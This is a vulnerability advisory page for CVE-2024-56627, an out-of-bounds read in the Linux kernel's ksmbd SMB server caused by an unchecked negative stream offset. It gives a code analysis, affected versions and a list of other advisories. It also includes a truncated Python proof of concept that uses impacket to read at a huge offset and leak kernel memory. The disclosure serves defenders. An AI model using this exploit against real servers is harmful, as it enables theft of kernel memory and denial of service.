Linux Kernel: Out of bounds Read in ksmbd_vfs_stream_read
Critical9.1CVE-2024-56627 · Published Jan 9, 2025
### Summary Ksmbd, the in-kernel SMB server in Linux, utilizes extended attributes to store Alternate Data Streams (ADS) associated with files. Two vulnerabilities exist in the handling of requests for files with ADS when an extremely large offset is provided. The ksmbd_vfs_stream_read function, responsible for reading data from a file with extended attributes (representing ADS), fails to properly validate the provided offset (*pos). This allows an attacker to supply a negative offset, leading to an out-of-bounds read from the stream_buf. ### Severity Critical - This vulnerability can allow an attacker to remotely read sensitive information from the kernel memory preceding the stream_buf and or a denial of serivce. ### Analysis ```c/c++ static int ksmbd_vfs_stream_read(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { ssize_t v_len; char *stream_buf = NULL; ksmbd_debug(VFS, "read stream data pos : %llu, count : %zd\n", *pos, count); v_len = ksmbd_vfs_getcasexattr(file_mnt_idmap(fp->filp), // (1) fp->filp->f_path.dentry, fp->stream.name, fp->stream.size, &stream_buf); if ((int)v_len <= 0) return (int)v_l...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| ksmbd_vfs_stream_read Product | >= 5.15, < v6.13-rc2 | v6.13-rc2 |
Details and references
### Summary Ksmbd, the in-kernel SMB server in Linux, utilizes extended attributes to store Alternate Data Streams (ADS) associated with files. Two vulnerabilities exist in the handling of requests for files with ADS when an extremely large offset is provided. The ksmbd_vfs_stream_read function, responsible for reading data from a file with extended attributes (representing ADS), fails to properly validate the provided offset (*pos). This allows an attacker to supply a negative offset, leading to an out-of-bounds read from the stream_buf. ### Severity Critical - This vulnerability can allow an attacker to remotely read sensitive information from the kernel memory preceding the stream_buf and or a denial of serivce. ### Analysis ```c/c++ static int ksmbd_vfs_stream_read(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { ssize_t v_len; char *stream_buf = NULL; ksmbd_debug(VFS, "read stream data pos : %llu, count : %zd\n", *pos, count); v_len = ksmbd_vfs_getcasexattr(file_mnt_idmap(fp->filp), // (1) fp->filp->f_path.dentry, fp->stream.name, fp->stream.size, &stream_buf); if ((int)v_len <= 0) return (int)v_len; if (v_len <= *pos) { // (2) count = -EINVAL; goto free_buf; } if (v_len - *pos < count) count = v_len - *pos; memcpy(buf, &stream_buf[*pos], count); // (3) free_buf: kvfree(stream_buf); return count; } ``` 1. Extended Attribute Retrieval: The ksmbd_vfs_getcasexattr function (at (1)) retrieves the extended attribute data and stores it in the heap-allocated stream_buf. 2. Insufficient Validation: The check at (2) (if (v_len <= *pos)) is intended to prevent reading beyond the end of the attribute data. However, it only considers cases where *pos is greater than or equal to the length of the data (v_len). It fails to account for the possibility of *pos being negative. 3. Out-of-Bounds Access: The memcpy at (3) uses *pos directly as an offset into stream_buf. If *pos is negative, this results in accessing memory before the start of the allocated buffer. An attacker can exploit this vulnerability by crafting an SMB read request with a large offset that overflows the loff_t type, resulting in a negative value. This negative offset is then passed to ksmbd_vfs_stream_read, triggering the out-of-bounds read. ### Proof of Concept ``` from impacket import smb3 as smb, smbconnection from hexdump import hexdump class BugClient: def __init__(self, target, share, username, password, domain="", port=445): self.target = target self.share = share self.username = username self.password = password self.domain = domain self.port = port self.smbClient = smbconnection.SMBConnection( self.target, self.target, sess_port=self.port ) self.smbClient.login(self.username, self.password, self.domain) def leak_oob(self, file_path, how_much): try: # Connect to the share tree_id = self.smbClient.connectTree(self.share) # Open the file file_id = self.smbClient.openFile( tree_id, file_path, desiredAccess=smb.FILE_READ_DATA ) # Read the file contents at offset data = self.smbClient.readFile( tree_id, file_id, 18446744073709551615 - how_much, how_much ) # Close the file self.smbClient.closeFile(tree_id, file_id) # Disconnect from the tree self.smbClient.disconnectTree(tree_id) return data except Exception as e: print(f"Error reading file: {e}") return None def write_oob(self, file_path, data, how_much): try: # Connect to the share tree_id = self.smbClient.connectTree(self.share) # Open the file f
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jan 102025 | ENGAGE - Server Displaying Sensitive Information | Low | No fix yet |
| Jan 92025 | Integer Overflow in eBPF DEVMAP map_delete_elem Leads to Out-of-Bounds | High7.8 | See the advisory |
| Jan 92025 | Linux Kernel: Integer Overflow in eBPF XSK map_delete_elem Leads to Out-of-Bounds | High7.8 | See the advisory |
| Jan 92025 | Linux Kernel: Out of bounds Write in ksmbd_vfs_stream_write | Critical9.8 | v6.13-rc2 |
| Dec 262024 | Apple: WebKit Canvas Denoising | Medium | No fix yet |
| Dec 232024 | MacPorts: Remote Code Execution | Medium | No fix yet |